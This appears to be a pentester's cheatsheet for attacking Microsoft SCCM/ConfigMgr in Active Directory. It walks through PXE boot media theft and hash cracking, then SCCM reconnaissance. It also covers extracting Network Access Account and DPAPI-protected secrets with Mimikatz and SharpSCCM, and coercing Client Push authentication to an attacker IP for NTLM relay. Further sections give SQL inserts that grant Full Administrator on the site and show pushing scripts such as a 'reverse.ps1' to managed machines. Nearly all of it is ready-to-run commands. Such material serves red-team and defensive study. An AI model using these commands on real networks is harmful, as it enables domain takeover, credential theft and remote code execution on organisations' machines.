Skip to main content

System Center Configuration Manager

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and labs, and other resources found on the web or through my experience. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter @BlWasp_.

I will try to put as many links as possible at the end of the page to direct to more complete resources.

System Center Configuration Manager (SCCM), renamed Microsoft Endpoint Configuration Manager (MECM) and, more recently, Microsoft Configuration Manager (ConfigMgr), is a software developed by Microsoft to help system administrators manage the servers and workstations in large Active Directory environments.

PXE initial access

A PXE boot server can be embedded in the SCCM infrastructure. However, identifying a PXE server on the network does not necessarily imply the presence of an SCCM infrastructure, and the presence of SCCM doesn't indicate that a PXE boot is present.

PXEThief is only available on Windows because of the pywin32 library dependency, and works better with Python 3.10.

# Identify a PXE server over the network with DHCP request
python3.10.exe .\pxethief.py 1

# Indicate the Distribution Point IP to veriy if there is any PXE on it
python3.10.exe .\pxethief.py 2 <DP_IP>

If the media is encrypted, request it like this:

tftp -i <DP_IP> GET "\SMSTemp\<XXX>.boot.var" "<XXX>.boot.var"

Then, compute the hash and crack it with hashcat's dedicated module:

python3.10.exe .\pxethief.py 5 '<XXX>.boot.var'
cd hashcat_pxe/
git clone https://github.com/hashcat/hashcat.git
git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module
cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/
cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/
cd hashcat
# change to 6.2.5
git checkout -b v6.2.5 tags/v6.2.5
make

cd ..
hashcat/hashcat -m 19850 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txtou.txt

Finally request the media, decrypt it with the password and retrieve sensitive information inside:

python3.10.exe .\pxethief.py 3 'XXX.boot.var' "Password123!"

Or alternatively, PowerPXE is a PowerShell script that extracts interesting data from insecure PXE boot.

Import-Module PowerPxe
Get-PXEcreds -InterfaceAlias Ethernet

Recon

Techniques to identify SCCM servers and related objects in an Active Directory.

Windows

#With PowerShell
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}

#With SharpSCCM
./SharpSCCM.exe local site-info
./SharpSCCM.exe local client-info

Linux

#Find the assets in the LDAP configuration
python3 sccmhunter.py find -u user1 -p password -d domain.local -dc-ip <DC_IP>

#Retrieve informations regarding the identified servers (SMB signing, site code, server type, etc)
#And save PXE variables
python3 sccmhunter.py smb -u user1 -p password -d domain.local -dc-ip <DC_IP> -save

#Show results from the previous commands
python3 sccmhunter.py show -smb
python3 sccmhunter.py show -user
python3 sccmhunter.py show -computers
python3 sccmhunter.py show -all

Credentials harvesting

Client Push Accounts

With a compromised machine in an Active Directory where SCCM is deployed via Client Push Accounts (the default configuration) on the assets, it is possible to retrieve the Net-NTLM hash of the Client Push Account, which generally has Administrator privileges on lots of assets. Full explains here. To do it:

  • Remove all the local Administrators on the compromised machine : net user <username> /delete
  • Listen with Inveigh : Invoke-Inveigh -Challenge 1122334455667788 -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y
  • Wait for the Client Push Accounts that will attempt to authenticate automatically
  • Hope for Net-NTLMv1, relay possibility or whatever

With SharpSCCM it is possible to accelerate the process by coercing a Client Push Accounts authentication.

#If admin access over Management Point (useful to clean the MP cache with the attacker machine)
./SharpSCCM.exe invoke client-push -t <attacker_IP> --as-admin

#If not MP admin (need to conctact an administrator to clean the cache)
./SharpSCCM.exe invoke client-push -t <attacker_IP>

SCCM credentials extraction

Multiple secrets and credentials can be extracted on a machine enrolled in SCCM. For example, it is possible to retrieve the Network Access Accounts (NAA) in the NAA policy which it's sent by the SCCM server and stored on the SCCM client disk encrypted with DPAPI, and the TaskSequence and Device Collection variables, also encrypted by DPAPI.

Windows

With SYSTEM access on the client, the credentials can be retrieved via WMI with PowerShell:

#Network Access Accounts (NAA)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_NetworkAccessAccount

#TaskSequence variables
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_TaskSequence

#Device Collection variables
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig -Class CCM_CollectionVariable

All this secrets can be extracted with SharpSCCM or SharpDPAPI aswell:

./SharpDPAPI.exe SCCM

#Via CIM store on disk or WMI
./SharpSCCM.exe local secrets disk
./SharpSCCM.exe local secrets wmi

NAA can also be extracted with Mimikatz:

./mimikatz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # dpapi::sccm

Ultimately, NAA and TaskSequence can be retrieved remotely:

./SharpSCCM.exe get secrets

Linux

Sccmhunter permits to extract everything in one command.

python3 sccmhunter.py dpapi -u user1 -p password -d domain.local -dc-ip <DC_IP> -target <target_IP> -wmi

# Or with SystemDPAPIdump
SystemDPAPIdump.py -creds -sccm 'domain.local/user1:password'@'target.domain.local'

A computer account has the ability to register itself with the SCCM server and request the encrypted NAA policies, decrypt them, deobfuscate them and retrieve the NAA's credentials in them. A controlled computer account is needed to send the authenticated request, but the account to spoof doesn't need to be the same. Full explains here.

addcomputer.py -computer-name 'EVIL$' -computer-pass 'ComputerPass123' -dc-ip <DC_IP> 'domain.local/user1':'password'
python3 sccmhunter.py http -u "user1" -p password -dc-ip <DC_IP> -cp ComputerPass123 -cn 'EVIL$'

SCCM primary site takeover

The primary site server's computer account is member of the local Administrators group on the site database server and on every site server hosting the "SMS Provider" role in the hierarchy. This means it is possible to coerce the primary site server authentication and relay it to the database server and obtain an administrative access. Some requirements must be reached to exploit this scenario. Full explains here and here.

Relay to the site database server

Windows

# Retrieve the controlled user SID in HEX format
.\SharpSCCM.exe get user-sid

# Setup a NTLM relay server to MSSQL or SMB
    # targetting MS-SQL
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -socks
    # targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks

# Coerce the primary site server authentication via Client Push Installation
.\SharpSCCM.exe invoke client-push -mp "SCCM-Server" -sc "<site_code>" -t "attacker.domain.local"

With a MSSQL socks open, an mssqlclient session can be obtained:

proxychains mssqlclient.py "DOMAIN/SCCM-Server$"@"siteDatabase.domain.local" -windows-auth

And the following SQL query can be executed to grant full privileges to the controlled user on the SCCM primary site:

--Switch to site database
use CM_<site_code>

--Add the SID, the name of the current user, and the site code to the RBAC_Admins table
INSERT INTO RBAC_Admins (AdminSID,LogonName,IsGroup,IsDeleted,CreatedBy,CreatedDate,ModifiedBy,ModifiedDate,SourceSite) VALUES (<SID_in_hex_format>,'DOMAIN\user',0,0,'','','','','<site_code>');

--Retrieve the AdminID of the added user
SELECT AdminID,LogonName FROM RBAC_Admins;

--Add records to the RBAC_ExtendedPermissions table granting the AdminID the Full Administrator (SMS0001R) RoleID for the “All Objects” scope (SMS00ALL), 
--the “All Systems” scope (SMS00001), 
--and the “All Users and User Groups” scope (SMS00004)
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00ALL','29');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00001','1');
INSERT INTO RBAC_ExtendedPermissions (AdminID,RoleID,ScopeID,ScopeTypeID) VALUES (<AdminID>,'SMS0001R','SMS00004','1');

Linux

# Print the stacked MSSQL queries for the user SID to escalate
python3 sccmhunter.py mssql -u user1 -p password -d domain.local -dc-ip <DC_IP> -tu user2 -sc <site_code> -stacked

# Run ntlmrelayx.py with the stacked query to execute
ntlmrelayx.py -t "mssql://siteDatabase.domain.local" -smb2support -q <query>

# Or targeting SMB
ntlmrelayx.py -t "smb://siteDatabase.domain.local" -smb2support -socks

Post exploitation via SCCM can now be performed on the network.

Relay to the SMS Provider server

If the HTTP API is accessible on the SMS Provider server, setup ntlmrelayx with this PR to add user1 as a new SCCM admin:

ntlmrelayx.py -t https://smsprovider.domain.local/AdminService/wmi/SMS_Admin -smb2support --adminservice --logonname "DOMAIN\user1" --displayname "DOMAIN\user1" --objectsid <user1_SID>

And coerce the primary site server via client push, PetitPotam, PrinterBug ou whatever.

Relay from a passive to the active site server

When high availability in required, it is possible to find a passive site server that will be used only if the active site server stop working. Its machine account must be a member of the local Administrators group on the active site server.

Setup a NTLM relay pointing to the active server and coerce an authentication from the passive server.

ntlmrelayx.py -t activeServer.domain.local -smb2support -socks

Then, through the proxy socks session, dump the SAM and LSA with secretsdump.py. The active site server must be a member of the SMS Provider administrators (it is member of the SMS Admins group), its credentials can be used to add a new controlled user to the Full Admin SCCM group.

python3 sccmhunter.py admin -u activeServer$ -p :<nthash> -ip <SMS_Provider>

() (C:\) >> add_admin controlledUser <controlledUser_SID>
() (C:\) >> show_admins

Post exploitation

CMPivot Service Abuse

The CMPivot service, presents on the MP server, permits to enumerate all the resources (installed softwares, local administrators, hardware specification, and so on) of a computer, or a computer collection, and perform administrative tasks on them. It uses the HTTP REST API named AdminService provided by the SMS Provider server.

With SCCM administrative rights, it is possible to directly interact with the AdminService API, without using CMPivot, for post SCCM exploitation enumeration.

Windows

#Retrieve the ID of the ressource to enumerate
.\SharpSCCM.exe get resource-id -d "COMPUTER"

#Enumerate the local administrators
.\SharpSCCM.exe invoke admin-service -r <resource_ID> -q "Administrators" -j

#Enumerate the installed softwares
.\SharpSCCM.exe invoke admin-service -r <resource_ID> -q "InstalledSoftware" -j

Linux

# Authenticate to the AdminService API
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP>

# Retrieve information about a target device and interact with it
() C:\ >> get_device target
() (C:\) >> interact <target_ID>

# Then, enumerate resources with built-in requests
(<target_ID>) (C:\) >> ls
(<target_ID>) (C:\) >> administrators
(<target_ID>) (C:\) >> help
...

Applications and scripts deployment

Windows

With sufficient rights on the central SCCM server (rights on WMI), it is possible to deploy applications or scripts on the AD computers (SYSTEM on the server basically, to have rights on WMI) with SharpSCCM or PowerSCCM:

  • With SharpSCCM
#Retrieve computers linked to the SCCM server
./SharpSCCM.exe get devices -w "Active=1 and Client=1"

#Execute a binary on a target device
./SharpSCCM.exe exec -d <target_device> -p bin.exe

#Execute a PS command on a target device
./SharpSCCM.exe exec -d <target_device> -p "powershell <ps_cmd>"

#Coerce a NTLM authentication from a domain user
#The user is the primary user of the device
#With no user specified, the NTLM authentication will come from the logged on user
#Add --run-as-system to obtain the computer account authentication instead
./SharpSCCM.exe exec -u DOMAIN\user1 -r <attacker_IP>
  • With PowerSCCM
#Create SCCM Session with WMI
Find-SccmSiteCode -ComputerName <SCCM_computer>
New-SccmSession -ComputerName <SCCM_computer> -SiteCode <site_code> -ConnectionType WMI

#Retrieve computers linked to the SCCM server
Get-SccmSession | Get-SccmComputer

#Create a computer collection
Get-SccmSession | New-SccmCollection -CollectionName "col" -CollectionType "Device"

#Add computer to the collection
Get-SccmSession | Add-SccmDeviceToCollection -ComputerNameToAdd "<computer>" -CollectionName "col"

#Create an app to deploy
Get-SccmSession | New-SccmApplication -ApplicationName "<application_name>" -PowerShellB64 "<powershell_script_in_B64>"

#Create an app deployment with the app and the collection previously created
Get-SccmSession | New-SccmApplicationDeployment -ApplicationName "<application_name>" -AssignmentName "assig" -CollectionName "col"

#Force the machine in the collection to check the app update (and force the install)
Get-SccmSession | Invoke-SCCMDeviceCheckin -CollectionName "col"

If application deployement doesn't work, it is worth to test CMScript deployement (deploy a script instead of an app). PowerSCCM also permits to do it with this PR :

New-CMScriptDeployement -CMDrive '<new_drive_name>' -ServerFQDN '<SCCM_server_FQDN>' -TargetDevice '<target_FQDN>' -Path '.\reverse.ps1' -ScriptName 'EvilScript'

Linux

With sufficient rights over the AdminService API it is possible to create an approval administrator and deploy scripts.

# Open a session over the AdminService API
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP>
# Promote as admin a controlled account
() C:\ >> add_admin user2 <account_SID>

# Reauthenticate and specify the new admin as an approval admin
python3 sccmhunter.py admin -u user1 -p password -ip <SMS_IP> -au user2 -ap password2
# Select a target via it's SCCM ID and deploy a PowerShell script on it
() C:\ >> get_device TARGET
() C:\ >> interact <target_ID>
(<target_ID>) (C:\) >> script /home/user1/add_local_admin.ps1

References